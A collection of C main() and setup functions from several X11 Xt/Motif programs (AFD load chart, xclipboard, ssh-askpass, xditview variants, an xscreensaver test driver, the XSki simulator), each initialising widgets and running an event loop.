/*$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ main() $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*/ int main(int argc, char *argv[]) { char font_name[256], *heading_str[4] = { "FILE LOAD", "KBYTE LOAD", "CONNECTION LOAD", "ACTIVE TRANSFERS", }, *unit_str[4] = { "Files/s", "KBytes/s", "Connections/s", " " }, window_title[100], work_dir[MAX_PATH_LENGTH]; XtAppContext app_context; Widget appshell, bottom_separator_w, buttonbox_w, button_w, chart_w, headingbox_w, label_w, mainform_w, top_separator_w; static String fallback_res[] = { ".afd_load*mwmDecorations : 110", ".afd_load*mwmFunctions : 30", ".afd_load.mainform*background : NavajoWhite2", ".afd_load.mainform.headingbox.current_value*background : NavajoWhite1", ".afd_load.mainform.chart*background : NavajoWhite1", ".afd_load.mainform.buttonbox*background : PaleVioletRed2", ".afd_load.mainform.buttonbox*foreground : Black", ".afd_load.mainform.buttonbox*highlightColor : Black", NULL }; Arg args[MAXARGS]; Cardinal argcount; XmFontList fontlist; XmFontListEntry entry; uid_t euid, /* Effective user ID. */ ruid; /* Real user ID. */ CHECK_FOR_VERSION(argc, argv); /* Initialize global variables. */ p_work_dir = work_dir; init_afd_load(&argc, argv, font_name, window_title); /* * SSH uses wants to look at .Xauthority and with setuid flag * set we cannot do that. So when we initialize X lets temporaly * disable it. After XtAppInitialize() we set it back. */ euid = geteuid(); ruid = getuid(); if (euid != ruid) { if (seteuid(ruid) == -1) { (void)fprintf(stderr, "Failed to seteuid() to %d : %s\n", ruid, strerror(errno)); } } argcount = 0; XtSetArg(args[argcount], XmNtitle, window_title); argcount++; appshell = XtAppInitialize(&app_context, "afd_load", NULL, 0, &argc, argv, fallback_res, args, argcount); if (euid != ruid) { if (seteuid(euid) == -1) { (void)fprintf(stderr, "Failed to seteuid() to %d : %s\n", euid, strerror(errno)); } } #ifdef HAVE_XPM /* Setup AFD logo as icon. */ setup_icon(XtDisplay(appshell), appshell); #endif /* Create managing widget. */ mainform_w = XmCreateForm(appshell, "mainform", NULL, 0); /* Prepare font. */ if ((entry = XmFontListEntryLoad(XtDisplay(mainform_w), font_name, XmFONT_IS_FONT, "TAG1")) == NULL) { if ((entry = XmFontListEntryLoad(XtDisplay(mainform_w), "fixed", XmFONT_IS_FONT, "TAG1")) == NULL) { (void)fprintf(stderr, "Failed to load font with XmFontListEntryLoad() : %s (%s %d)\n", strerror(errno), __FILE__, __LINE__); exit(INCORRECT); } } fontlist = XmFontListAppendEntry(NULL, entry); XmFontListEntryFree(&entry); /*-----------------------------------------------------------------------*/ /* Heading Box */ /* ----------- */ /*-----------------------------------------------------------------------*/ XtSetArg(args[argcount], XmNtopAttachment, XmATTACH_FORM); argcount++; XtSetArg(args[argcount], XmNleftAttachment, XmATTACH_FORM); argcount++; XtSetArg(args[argcount], XmNrightAttachment, XmATTACH_FORM); argcount++; headingbox_w = XmCreateForm(mainform_w, "headingbox", args, argcount); label_w = XtVaCreateManagedWidget(heading_str[(int)chart_type], xmLabelGadgetClass, headingbox_w, XmNtopAttachment, XmATTACH_FORM, XmNtopOffset, 5, XmNbottomAttachment, XmATTACH_FORM, XmNbottomOffset, 5, XmNleftAttachment, XmATTACH_FORM, XmNleftOffset, 5, XmNfontList, fontlist, XmNalignment, XmALIGNMENT_BEGINNING, NULL); label_w = XtVaCreateManagedWidget(unit_str[(int)chart_type], xmLabelGadgetClass, headingbox_w, XmNtopAttachment, XmATTACH_FORM, XmNtopOffset, 5, XmNbottomAttachment, XmATTACH_FORM, XmNbottomOffset, 5, XmNrightAttachment, XmATTACH_FORM, XmNrightOffset, 5, XmNfontList, fontlist, XmNalignment, XmALIGNMENT_BEGINNING, NULL); current_value_w = XtVaCreateWidget("current_value", xmTextWidgetClass, headingbox_w, XmNtopAttachment, XmATTACH_FORM, XmNtopOffset, 5, XmNrightAttachment, XmATTACH_WIDGET, XmNrightWidget, label_w, XmNrightOffset, 5, XmNbottomAttachment, XmATTACH_FORM, XmNbottomOffset, 5, XmNfontList, fontlist, XmNrows, 1, XmNcolumns, MAX_CURRENT_VALUE_DIGIT, XmNeditable, False, XmNcursorPositionVisible, False, XmNmarginHeight, 1, XmNmarginWidth, 1, XmNshadowThickness, 1, XmNhighlightThickness, 0, NULL); XtManageChild(current_value_w); XtManageChild(headingbox_w); /*-----------------------------------------------------------------------*/ /* Horizontal Separator */ /*-----------------------------------------------------------------------*/ argcount = 0; XtSetArg(args[argcount], XmNorientation, XmHORIZONTAL); argcount++; XtSetArg(args[argcount], XmNtopAttachment, XmATTACH_WIDGET); argcount++; XtSetArg(args[argcount], XmNtopWidget, headingbox_w); argcount++; XtSetArg(args[argcount], XmNleftAttachment, XmATTACH_FORM); argcount++; XtSetArg(args[argcount], XmNrightAttachment, XmATTACH_FORM); argcount++; top_separator_w = XmCreateSeparator(mainform_w, "top separator", args, argcount); XtManageChild(top_separator_w); /*-----------------------------------------------------------------------*/ /* Button Box */ /*-----------------------------------------------------------------------*/ argcount = 0; XtSetArg(args[argcount], XmNleftAttachment, XmATTACH_FORM); argcount++; XtSetArg(args[argcount], XmNrightAttachment, XmATTACH_FORM); argcount++; XtSetArg(args[argcount], XmNbottomAttachment, XmATTACH_FORM); argcount++; buttonbox_w = XmCreateForm(mainform_w, "buttonbox", args, argcount); button_w = XtVaCreateManagedWidget("Close", xmPushButtonWidgetClass, buttonbox_w, XmNfontList, fontlist, XmNtopAttachment, XmATTACH_FORM, XmNleftAttachment, XmATTACH_FORM, XmNrightAttachment, XmATTACH_FORM, XmNbottomAttachment, XmATTACH_FORM, NULL); XtAddCallback(button_w, XmNactivateCallback, (XtCallbackProc)close_button, (XtPointer)0); XtManageChild(buttonbox_w); /*-----------------------------------------------------------------------*/ /* Horizontal Separator */ /*-----------------------------------------------------------------------*/ argcount = 0; XtSetArg(args[argcount], XmNorientation, XmHORIZONTAL); argcount++; XtSetArg(args[argcount], XmNbottomAttachment, XmATTACH_WIDGET); argcount++; XtSetArg(args[argcount], XmNbottomWidget, buttonbox_w); argcount++; XtSetArg(args[argcount], XmNleftAttachment, XmATTACH_FORM); argcount++; XtSetArg(args[argcount], XmNrightAttachment, XmATTACH_FORM); argcount++; bottom_separator_w = XmCreateSeparator(mainform_w, "bottom separator", args, argcount); XtManageChild(bottom_separator_w); /*-----------------------------------------------------------------------*/ /* Chart Box */ /*-----------------------------------------------------------------------*/ chart_w = XtVaCreateManagedWidget("chart", stripChartWidgetClass, mainform_w, XmNtopAttachment, XmATTACH_WIDGET, XmNtopWidget, top_separator_w, XmNleftAttachment, XmATTACH_FORM, XmNrightAttachment, XmATTACH_FORM, XmNbottomAttachment, XmATTACH_WIDGET, XmNbottomWidget, bottom_separator_w, XtNupdate, (int)update_interval, XtNjumpScroll, 1, XtNheight, 100, XtNwidth, 260, NULL); if (chart_type == FILE_CHART) { XtAddCallback(chart_w, XtNgetValue, get_file_value, (XtPointer)0); } else if (chart_type == KBYTE_CHART) { XtAddCallback(chart_w, XtNgetValue, get_kbyte_value, (XtPointer)0); } else if (chart_type == CONNECTION_CHART) { XtAddCallback(chart_w, XtNgetValue, get_connection_value, (XtPointer)0); } else { XtAddCallback(chart_w, XtNgetValue, get_transfer_value, (XtPointer)0); } XtManageChild(mainform_w); /* Free font list. */ XmFontListFree(fontlist); /* Realize all widgets. */ XtRealizeWidget(appshell); XmTextSetString(current_value_w, " 0.00"); /* Start the main event-handling loop. */ XtAppMainLoop(app_context); exit(SUCCESS); }
int main(int argc, char *argv[]) { Arg args[4]; Cardinal n; XtAppContext xtcontext; Widget parent; XtSetLanguageProc(NULL, NULL, NULL); top = XtAppInitialize( &xtcontext, "XClipboard", table, XtNumber(table), &argc, argv, fallback_resources, NULL, 0); XtGetApplicationResources(top, (XtPointer)&userOptions, resources, XtNumber(resources), NULL, 0); XtAppAddActions (xtcontext, xclipboard_actions, XtNumber (xclipboard_actions)); /* CLIPBOARD_MANAGER is a non-standard mechanism */ ManagerAtom = XInternAtom(XtDisplay(top), "CLIPBOARD_MANAGER", False); ClipboardAtom = XA_CLIPBOARD(XtDisplay(top)); if (XGetSelectionOwner(XtDisplay(top), ManagerAtom)) XtError("another clipboard is already running\n"); parent = XtCreateManagedWidget("form", formWidgetClass, top, NULL, ZERO); (void) XtCreateManagedWidget("quit", Command, parent, NULL, ZERO); (void) XtCreateManagedWidget("delete", Command, parent, NULL, ZERO); (void) XtCreateManagedWidget("new", Command, parent, NULL, ZERO); (void) XtCreateManagedWidget("save", Command, parent, NULL, ZERO); nextButton = XtCreateManagedWidget("next", Command, parent, NULL, ZERO); prevButton = XtCreateManagedWidget("prev", Command, parent, NULL, ZERO); indexLabel = XtCreateManagedWidget("index", Label, parent, NULL, ZERO); n=0; XtSetArg(args[n], XtNtype, XawAsciiString); n++; XtSetArg(args[n], XtNeditType, XawtextEdit); n++; if (userOptions.wrap) { XtSetArg(args[n], XtNwrap, XawtextWrapWord); n++; XtSetArg(args[n], XtNscrollHorizontal, False); n++; } text = XtCreateManagedWidget( "text", Text, parent, args, n); currentClip = NewClip (text, (ClipPtr) 0); set_button_state (); fileDialogShell = XtCreatePopupShell("fileDialogShell", transientShellWidgetClass, top, NULL, ZERO); fileDialog = XtCreateManagedWidget ("fileDialog", dialogWidgetClass, fileDialogShell, NULL, ZERO); XawDialogAddButton(fileDialog, "accept", NULL, NULL); XawDialogAddButton(fileDialog, "cancel", NULL, NULL); failDialogShell = XtCreatePopupShell("failDialogShell", transientShellWidgetClass, top, NULL, ZERO); failDialog = XtCreateManagedWidget ("failDialog", dialogWidgetClass, failDialogShell, NULL, ZERO); XawDialogAddButton (failDialog, "continue", NULL, NULL); XtRealizeWidget(top); XtRealizeWidget(fileDialogShell); XtRealizeWidget(failDialogShell); XtOwnSelection(top, ManagerAtom, CurrentTime, RefuseSelection, LoseManager, NULL); if (XGetSelectionOwner (XtDisplay(top), ClipboardAtom)) { LoseSelection (top, &ClipboardAtom); } else { XtOwnSelection(top, ClipboardAtom, CurrentTime, ConvertSelection, LoseSelection, NULL); } wm_delete_window = XInternAtom(XtDisplay(top), "WM_DELETE_WINDOW", False); wm_protocols = XInternAtom(XtDisplay(top), "WM_PROTOCOLS", False); (void) XSetWMProtocols(XtDisplay(top), XtWindow(top), &wm_delete_window,1); (void) XSetWMProtocols(XtDisplay(top), XtWindow(fileDialogShell), &wm_delete_window,1); (void) XSetWMProtocols(XtDisplay(top), XtWindow(failDialogShell), &wm_delete_window,1); XtAppMainLoop(xtcontext); exit(0); }
int main(int argc, char **argv) { AppInfo app; XEvent event; memset(&app, 0, sizeof(app)); progclass = "SshAskpass"; app.toplevelShell = XtAppInitialize(&(app.appContext), progclass, NULL, 0, &argc, argv, defaults, NULL, 0); app.argc = argc; app.argv = argv; app.dpy = XtDisplay(app.toplevelShell); app.screen = DefaultScreenOfDisplay(app.dpy); app.rootWindow = RootWindowOfScreen(app.screen); app.black = BlackPixel(app.dpy, DefaultScreen(app.dpy)); app.white = WhitePixel(app.dpy, DefaultScreen(app.dpy)); app.colormap = DefaultColormapOfScreen(app.screen); app.resourceDb = XtDatabase(app.dpy); XtGetApplicationNameAndClass(app.dpy, &progname, &progclass); app.appName = progname; app.appClass = progclass; /* For resources.c. */ db = app.resourceDb; /* Seconds after which keyboard/pointer grab fail. */ app.grabFailTimeout = 5; /* Number of seconds to wait between grab attempts. */ app.grabRetryInterval = 1; app.pid = getpid(); { struct rlimit resourceLimit; int status; status = getrlimit(RLIMIT_CORE, &resourceLimit); if (-1 == status) { fprintf(stderr, "%s[%ld]: getrlimit failed (%s)\n", app.appName, (long) app.pid, strerror(errno)); exit(EXIT_STATUS_ERROR); } resourceLimit.rlim_cur = 0; status = setrlimit(RLIMIT_CORE, &resourceLimit); if (-1 == status) { fprintf(stderr, "%s[%ld]: setrlimit failed (%s)\n", app.appName, (long) app.pid, strerror(errno)); exit(EXIT_STATUS_ERROR); } } app.xResolution = WidthOfScreen(app.screen) * 1000 / WidthMMOfScreen(app.screen); app.yResolution = HeightOfScreen(app.screen) * 1000 / HeightMMOfScreen(app.screen); createDialog(&app); createGCs(&app); app.eventMask = 0; app.eventMask |= ExposureMask; app.eventMask |= ButtonPressMask; app.eventMask |= ButtonReleaseMask; app.eventMask |= Button1MotionMask; app.eventMask |= KeyPressMask; createDialogWindow(&app); XMapWindow(app.dpy, app.dialog->dialogWindow); if (app.inputTimeout > 0) { app.inputTimeoutActive = True; app.inputTimeoutTimerId = XtAppAddTimeOut(app.appContext, app.inputTimeout, handleInputTimeout, (XtPointer) &app); } while(True) { XtAppNextEvent(app.appContext, &event); switch (event.type) { case Expose: grabServer(&app); grabKeyboard(&app); grabPointer(&app); if (event.xexpose.count) { break; } paintDialog(&app); break; case ButtonPress: case ButtonRelease: handleButtonPress(&app, &event); break; case MotionNotify: handlePointerMotion(&app, &event); case KeyPress: handleKeyPress(&app, &event); break; case ClientMessage: if ((32 == event.xclient.format) && ((unsigned long) event.xclient.data.l[0] == app.wmDeleteWindowAtom)) { cancelAction(&app); } break; default: break; } } fprintf(stderr, "%s[%ld]: This should not happen.\n", app.appName, (long) app.pid); return(EXIT_STATUS_ANOMALY); }
int main(int argc, char **argv) { char *file_name = 0; Cardinal i; static Arg labelArgs[] = { {XtNlabel, (XtArgVal) pageLabel}, }; XtAppContext xtcontext; Arg topLevelArgs[2]; Widget entry; Arg pageNumberArgs[1]; int page_number; toplevel = XtAppInitialize(&xtcontext, "GXditview", options, XtNumber (options), &argc, argv, fallback_resources, NULL, 0); if (argc > 2 || (argc == 2 && (!strcmp(argv[1], "-help") || !strcmp(argv[1], "--help")))) Syntax(argv[0]); XtGetApplicationResources(toplevel, (XtPointer)&app_resources, resources, XtNumber(resources), NULL, (Cardinal) 0); if (app_resources.print_command) strcpy(current_print_command, app_resources.print_command); XtAppAddActions(xtcontext, xditview_actions, XtNumber (xditview_actions)); XtSetArg (topLevelArgs[0], XtNiconPixmap, XCreateBitmapFromData (XtDisplay (toplevel), XtScreen(toplevel)->root, (char *)xdit_bits, xdit_width, xdit_height)); XtSetArg (topLevelArgs[1], XtNiconMask, XCreateBitmapFromData (XtDisplay (toplevel), XtScreen(toplevel)->root, (char *)xdit_mask_bits, xdit_mask_width, xdit_mask_height)); XtSetValues (toplevel, topLevelArgs, 2); if (argc > 1) file_name = argv[1]; /* * create the menu and insert the entries */ simpleMenu = XtCreatePopupShell ("menu", simpleMenuWidgetClass, toplevel, NULL, 0); for (i = 0; i < XtNumber (menuEntries); i++) { entry = XtCreateManagedWidget(menuEntries[i].name, smeBSBObjectClass, simpleMenu, NULL, (Cardinal) 0); XtAddCallback(entry, XtNcallback, menuEntries[i].function, NULL); } paned = XtCreateManagedWidget("paned", panedWidgetClass, toplevel, NULL, (Cardinal) 0); viewport = XtCreateManagedWidget("viewport", viewportWidgetClass, paned, NULL, (Cardinal) 0); dvi = XtCreateManagedWidget ("dvi", dviWidgetClass, viewport, NULL, 0); page = XtCreateManagedWidget ("label", labelWidgetClass, paned, labelArgs, XtNumber (labelArgs)); XtSetArg (pageNumberArgs[0], XtNpageNumber, &page_number); XtGetValues (dvi, pageNumberArgs, 1); if (file_name) NewFile (file_name); /* NewFile modifies current_file_name, so do this here. */ if (app_resources.filename) strcpy(current_file_name, app_resources.filename); XtRealizeWidget (toplevel); if (file_name) SetPageNumber (page_number); XtAppMainLoop(xtcontext); return 0; }
int main(int argc, char **argv) { char *file_name = NULL; int i; XtAppContext xtcontext; Arg topLevelArgs[2]; Widget entry; XtSetLanguageProc(NULL, (XtLanguageProc) NULL, NULL); toplevel = XtAppInitialize(&xtcontext, "Xditview", options, XtNumber (options), &argc, argv, NULL, NULL, 0); if (argc > 2) Syntax(argv[0]); XtAppAddActions(xtcontext, xditview_actions, XtNumber (xditview_actions)); XtOverrideTranslations (toplevel, XtParseTranslationTable ("<Message>WM_PROTOCOLS: Quit()")); XtSetArg (topLevelArgs[0], XtNiconPixmap, XCreateBitmapFromData (XtDisplay (toplevel), XtScreen(toplevel)->root, (char *) xdit_bits, xdit_width, xdit_height)); XtSetArg (topLevelArgs[1], XtNiconMask, XCreateBitmapFromData (XtDisplay (toplevel), XtScreen(toplevel)->root, (char *) xdit_mask_bits, xdit_mask_width, xdit_mask_height)); XtSetValues (toplevel, topLevelArgs, 2); if (argc > 1) file_name = argv[1]; /* * create the popup menu and insert the entries */ popupMenu = XtCreatePopupShell ("popupMenu", simpleMenuWidgetClass, toplevel, NULL, 0); for (i = 0; i < XtNumber (popupMenuEntries); i++) { entry = XtCreateManagedWidget(popupMenuEntries[i].name, smeBSBObjectClass, popupMenu, NULL, (Cardinal) 0); XtAddCallback(entry, XtNcallback, popupMenuEntries[i].function, NULL); } paned = XtCreateManagedWidget("paned", panedWidgetClass, toplevel, NULL, (Cardinal) 0); menuBar = XtCreateManagedWidget ("menuBar", boxWidgetClass, paned, NULL, 0); fileMenuButton = XtCreateManagedWidget ("fileMenuButton", menuButtonWidgetClass, menuBar, NULL, (Cardinal) 0); fileMenu = XtCreatePopupShell ("fileMenu", simpleMenuWidgetClass, fileMenuButton, NULL, (Cardinal) 0); for (i = 0; i < XtNumber (fileMenuEntries); i++) { entry = XtCreateManagedWidget(fileMenuEntries[i].name, smeBSBObjectClass, fileMenu, NULL, (Cardinal) 0); XtAddCallback (entry, XtNcallback, fileMenuEntries[i].function, NULL); } (void) XtCreateManagedWidget ("prevButton", commandWidgetClass, menuBar, NULL, (Cardinal) 0); pageNumber = XtCreateManagedWidget("pageNumber", asciiTextWidgetClass, menuBar, NULL, (Cardinal) 0); (void) XtCreateManagedWidget ("nextButton", commandWidgetClass, menuBar, NULL, (Cardinal) 0); #ifdef NOTDEF form = XtCreateManagedWidget ("form", formWidgetClass, paned, NULL, (Cardinal) 0); panner = XtCreateManagedWidget ("panner", pannerWidgetClass, form, NULL, 0); porthole = XtCreateManagedWidget ("porthole", portholeWidgetClass, form, NULL, 0); XtAddCallback(porthole, XtNreportCallback, PortholeCallback, (XtPointer) panner); XtAddCallback(panner, XtNreportCallback, PannerCallback, (XtPointer) porthole); #else porthole = XtCreateManagedWidget ("viewport", viewportWidgetClass, paned, NULL, 0); #endif dvi = XtCreateManagedWidget ("dvi", dviWidgetClass, porthole, NULL, 0); if (file_name) VisitFile (file_name, FALSE); XtRealizeWidget (toplevel); wm_delete_window = XInternAtom(XtDisplay(toplevel), "WM_DELETE_WINDOW", False); (void) XSetWMProtocols (XtDisplay(toplevel), XtWindow(toplevel), &wm_delete_window, 1); XtAppMainLoop(xtcontext); return 0; }
int main (int argc, char **argv) { enum { PASS, SPLASH, TTY } which; Widget toplevel_shell = 0; saver_screen_info ssip; saver_info sip; saver_info *si = &sip; saver_preferences *p = &si->prefs; struct passwd *pw; memset(&sip, 0, sizeof(sip)); memset(&ssip, 0, sizeof(ssip)); si->nscreens = 1; si->screens = si->default_screen = &ssip; ssip.global = si; global_si_kludge = si; real_stderr = stderr; real_stdout = stdout; si->version = (char *) malloc (5); memcpy (si->version, screensaver_id + 17, 4); si->version[4] = 0; progname = argv[0]; { char *s = strrchr(progname, '/'); if (*s) strcpy (progname, s+1); } if (argc != 2) goto USAGE; else if (!strcmp (argv[1], "pass")) which = PASS; else if (!strcmp (argv[1], "splash")) which = SPLASH; else if (!strcmp (argv[1], "tty")) which = TTY; else { USAGE: fprintf (stderr, "usage: %s [ pass | splash | tty ]\n", progname); exit (1); } #ifdef NO_LOCKING if (which == PASS || which == TTY) { fprintf (stderr, "%s: compiled with NO_LOCKING\n", progname); exit (1); } #endif #ifndef NO_LOCKING /* before hack_uid() for proper permissions */ lock_priv_init (argc, argv, True); hack_uid (si); if (! lock_init (argc, argv, True)) { si->locking_disabled_p = True; si->nolock_reason = "error getting password"; } #endif progclass = "XScreenSaver"; if (!setlocale (LC_CTYPE, "")) fprintf (stderr, "%s: warning: could not set default locale\n", progname); if (which != TTY) { toplevel_shell = XtAppInitialize (&si->app, progclass, 0, 0, &argc, argv, fallback, 0, 0); si->dpy = XtDisplay (toplevel_shell); p->db = XtDatabase (si->dpy); si->default_screen->toplevel_shell = toplevel_shell; si->default_screen->screen = XtScreen(toplevel_shell); si->default_screen->default_visual = si->default_screen->current_visual = DefaultVisualOfScreen(si->default_screen->screen); si->default_screen->screensaver_window = RootWindowOfScreen(si->default_screen->screen); si->default_screen->current_depth = visual_depth(si->default_screen->screen, si->default_screen->current_visual); ssip.width = WidthOfScreen(ssip.screen); ssip.height = HeightOfScreen(ssip.screen); db = p->db; XtGetApplicationNameAndClass (si->dpy, &progname, &progclass); load_init_file (si->dpy, &si->prefs); } p->verbose_p = True; pw = getpwuid (getuid ()); si->user = strdup (pw->pw_name); /* si->nscreens = 0; si->screens = si->default_screen = 0; */ while (1) { #ifndef NO_LOCKING if (which == PASS) { si->unlock_cb = gui_auth_conv; si->auth_finished_cb = auth_finished_cb; debug_passwd_window_p = True; xss_authenticate(si, True); if (si->unlock_state == ul_success) fprintf (stderr, "%s: authentication succeeded\n", progname); else fprintf (stderr, "%s: authentication FAILED!\n", progname); XSync(si->dpy, False); fprintf (stderr, "\n######################################\n\n"); sleep (3); } else #endif if (which == SPLASH) { XEvent event; make_splash_dialog (si); XtAppAddTimeOut (si->app, p->splash_duration + 1000, idle_timer, (XtPointer) si); while (si->splash_dialog) { XtAppNextEvent (si->app, &event); if (event.xany.window == si->splash_dialog) handle_splash_event (si, &event); XtDispatchEvent (&event); } XSync (si->dpy, False); sleep (1); } #ifndef NO_LOCKING else if (which == TTY) { si->unlock_cb = text_auth_conv; printf ("%s: Authenticating user %s\n", progname, si->user); xss_authenticate(si, True); if (si->unlock_state == ul_success) printf ("%s: Ok!\n", progname); else printf ("%s: Wrong!\n", progname); } #endif else abort(); } free(si->user); }
void scrnInitX(void) { Widget toplevel, control; Widget mb, fileMenu, viewMenu, confMenu, helpMenu; Widget procFrame = NULL, bboxFrame = NULL; #ifdef ICON_DEFINED Pixmap icon; #endif XmString s; Arg args[10]; unsigned i, n; int argc = 0; addRegwRsrcOpts(); addDatwRsrcOpts(); toplevel = XtAppInitialize(&app_context, "XSki", options, topopts, &argc, NULL, NULL, NULL, 0); top_level = toplevel; /* XXX - temporary for Platform only */ XtGetApplicationResources(toplevel, &app_data, resources, toprsrc, NULL, 0); XtAppAddActions(app_context, actions, XtNumber(actions)); dpy = XtDisplay(toplevel); #ifdef ICON_DEFINED /* set default icon */ icon = XCreateBitmapFromData(dpy, RootWindowOfScreen(XtScreen(toplevel)), icon_bits, icon_width, icon_height); XtSetArg(args[0], XmNiconPixmap, icon); XtSetValues(toplevel, args, 1); #endif #if 0 XSynchronize(dpy, True); #endif /* create control window manager */ control = XmCreateForm(toplevel, "control", NULL, 0); XtManageChild(control); /* Control window menubar */ n = 0; XtSetArg(args[n], XmNtopAttachment, XmATTACH_FORM); n++; XtSetArg(args[n], XmNleftAttachment, XmATTACH_FORM); n++; XtSetArg(args[n], XmNrightAttachment, XmATTACH_FORM); n++; mb = XmCreateMenuBar(control, "mb", args, n); XtManageChild(mb); fileMenu = createMBitem(mb, "File"); viewMenu = createMBitem(mb, "View"); confMenu = createMBitem(mb, "Configure"); helpMenu = createMBitem(mb, "Help"); #if 0 createSubmenuItem(fileMenu, "load", loadCallback); #else createSubmenuItem(fileMenu, "load", 0); #endif createSubmenuItem(fileMenu, "save", 0); createSubmenuItem(fileMenu, "trace", 0); createSubmenuItem(fileMenu, "traceOn", 0); createSubmenuItem(fileMenu, "traceOff", 0); createSubmenuItem(fileMenu, "read", 0); XtManageChild(XmCreateSeparatorGadget(fileMenu, "", NULL, 0)); createSubmenuItem(fileMenu, "quit", simCmdCallback); createSubmenuItem(viewMenu, "program", programCallback); createSubmenuItem(viewMenu, "data", dataCallback); createSubmenuItem(viewMenu, "registers", regCallback); createSubmenuItem(viewMenu, "cache", 0); createSubmenuItem(viewMenu, "tlb", sdtCallback); XtManageChild(XmCreateSeparatorGadget(viewMenu, "", NULL, 0)); createSubmenuItem(viewMenu, "callstack", cstCallback); createSubmenuItem(viewMenu, "statistics", 0); createSubmenuItem(viewMenu, "breakpoints", blistCallback); createSubmenuItem(viewMenu, "branches", 0); createSubmenuItem(viewMenu, "symbols", symlistCallback); createSubmenuItem(viewMenu, "macros", 0); #if 0 /* No support for window format yet */ createSubmenuItem(confMenu, "program", prgFmtCallback); #else createSubmenuItem(confMenu, "program", 0); #endif createSubmenuItem(confMenu, "data", 0); #if 0 /* No support for window format yet */ createSubmenuItem(confMenu, "registers", regFmtCallback); #else createSubmenuItem(confMenu, "registers", 0); #endif createSubmenuItem(helpMenu, "context", 0); createSubmenuItem(helpMenu, "overview", 0); createSubmenuItem(helpMenu, "commands", cmdHelpCallback); createSubmenuItem(helpMenu, "product", prodInfoCallback); /* Control window processor option menu */ if (nproc > 1) { Widget procMenu, proc[NPROC]; n = 0; XtSetArg(args[n], XmNtopAttachment, XmATTACH_WIDGET); n++; XtSetArg(args[n], XmNtopWidget, mb); n++; XtSetArg(args[n], XmNleftAttachment, XmATTACH_FORM); n++; XtSetArg(args[n], XmNrightAttachment, XmATTACH_FORM); n++; procFrame = XmCreateFrame(control, "", args, n); XtManageChild(procFrame); procMenu = XmCreatePulldownMenu(procFrame, "", NULL, 0); for (i = 0; i < nproc; i++) { char name[4]; (void)sprintf(name, "p%d", i); proc[i] = XmCreatePushButton(procMenu, name, NULL, 0); XtAddCallback(proc[i], XmNactivateCallback, changeCprocCallback, (XtPointer)i); } XtManageChildren(proc, nproc); n = 0; XtSetArg(args[n], XmNsubMenuId, procMenu); n++; XtManageChild(XmCreateOptionMenu(procFrame, "procOption", args, n)); } /* Control window button box */ if (app_data.numButtons) { Widget bbox, btns[20]; /* create button box manager */ n = 0; XtSetArg(args[n], XmNtopAttachment, XmATTACH_WIDGET); n++; XtSetArg(args[n], XmNtopWidget, procFrame ? procFrame : mb); n++; XtSetArg(args[n], XmNleftAttachment, XmATTACH_FORM); n++; XtSetArg(args[n], XmNrightAttachment, XmATTACH_FORM); n++; bboxFrame = XmCreateFrame(control, "", args, n); XtManageChild(bboxFrame); /* create button box window */ bbox = XmCreateRowColumn(bboxFrame, "bbox", NULL, 0); XtManageChild(bbox); /* create each button */ for (i = 0; i < app_data.numButtons; i++) { char name[8]; (void)sprintf(name, "bb%d", i); btns[i] = XmCreatePushButton(bbox, name, NULL, 0); } XtManageChildren(btns, app_data.numButtons); } /* Control window command area */ n = 0; XtSetArg(args[n], XmNtopAttachment, XmATTACH_WIDGET); n++; XtSetArg(args[n], XmNtopWidget, bboxFrame ? bboxFrame : procFrame ? procFrame : mb); n++; XtSetArg(args[n], XmNleftAttachment, XmATTACH_FORM); n++; XtSetArg(args[n], XmNrightAttachment, XmATTACH_FORM); n++; cmd = XmCreateCommand(control, "cmd", args, n); XtManageChild(cmd); XtAddCallback(cmd, XmNcommandEnteredCallback, simCmdCallback, 0); /* command history box */ n = 0; XtSetArg(args[0], XmNinitialFocus, cmd); n++; XtSetValues(control, args, n); cmdHist = XmCommandGetChild(cmd, XmDIALOG_HISTORY_LIST); /* message window */ msgs = XmCreateScrolledText(control, "msgs", NULL, 0); XtManageChild(msgs); n = 0; XtSetArg(args[n], XmNtopAttachment, XmATTACH_WIDGET); n++; XtSetArg(args[n], XmNtopWidget, cmd); n++; XtSetArg(args[n], XmNbottomAttachment, XmATTACH_FORM); n++; XtSetArg(args[n], XmNleftAttachment, XmATTACH_FORM); n++; XtSetArg(args[n], XmNrightAttachment, XmATTACH_FORM); n++; XtSetValues(XtParent(msgs), args, n); /* create stop simulation dialog */ /* Consider changing this to a button. This would allow other functionality to still be active when simulation is going on. For example, Help, Quit, opening and closing windows, etc. */ stopsim = XmCreateWorkingDialog(control, "stopsim", NULL, 0); n = 0; XtSetArg(args[n], XmNdialogStyle, XmDIALOG_FULL_APPLICATION_MODAL); n++; s = XmStringCreateLocalized("Running..."); XtSetArg(args[n], XmNdialogTitle, s); n++; s = XmStringCreateLocalized(" icnt: 0 "); XtSetArg(args[n], XmNmessageString, s); n++; s = XmStringCreateLocalized("Stop"); XtSetArg(args[n], XmNcancelLabelString, s); n++; XtSetValues(stopsim, args, n); XtAddCallback(stopsim, XmNcancelCallback, stop_execLoopXCB, NULL); XtUnmanageChild(XmMessageBoxGetChild(stopsim, XmDIALOG_OK_BUTTON)); XtUnmanageChild(XmMessageBoxGetChild(stopsim, XmDIALOG_HELP_BUTTON)); XmStringFree(s); /* XXX - This should probably be inside regwInit */ for (i = 0; i < topregw; i++) regwtbl[i].show = app_data.showRs[i]; /* XXX - This should probably be inside datwInit */ for (i = 0; i < topdatw; i++) datwtbl[i].show = app_data.viewDw[i]; prgwInit(); datwInit(); regwInit(); if (app_data.viewProg) prgwDrawX(); datwDrawX(); if (app_data.viewRegs) regwDrawX(); noscreen = NO; XtRealizeWidget(toplevel); }
